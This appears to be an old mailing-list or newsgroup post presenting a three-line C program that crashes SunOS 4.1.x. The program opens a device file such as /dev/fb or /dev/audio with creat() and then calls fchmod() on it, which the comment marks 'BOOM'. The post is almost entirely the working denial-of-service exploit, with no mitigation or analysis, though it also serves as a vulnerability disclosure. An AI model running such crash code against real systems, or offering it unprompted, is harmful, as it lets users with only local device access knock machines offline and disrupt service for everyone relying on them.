SunOS 4.1.x crash

I found the following three-liner to crash SunOS 4.1.x.  It works on
/dev/fb and /dev/audio on some machines; you need permission to open the
device.

main(int argc, char *argv[]) {
  int fd;

  fd = creat(argc < 2 ? "/dev/fb" : argv[1], 0755);
  if (fd < 0) perror("creat"), exit(1);
  fchmod(fd, 0755);             /* BOOM */
}
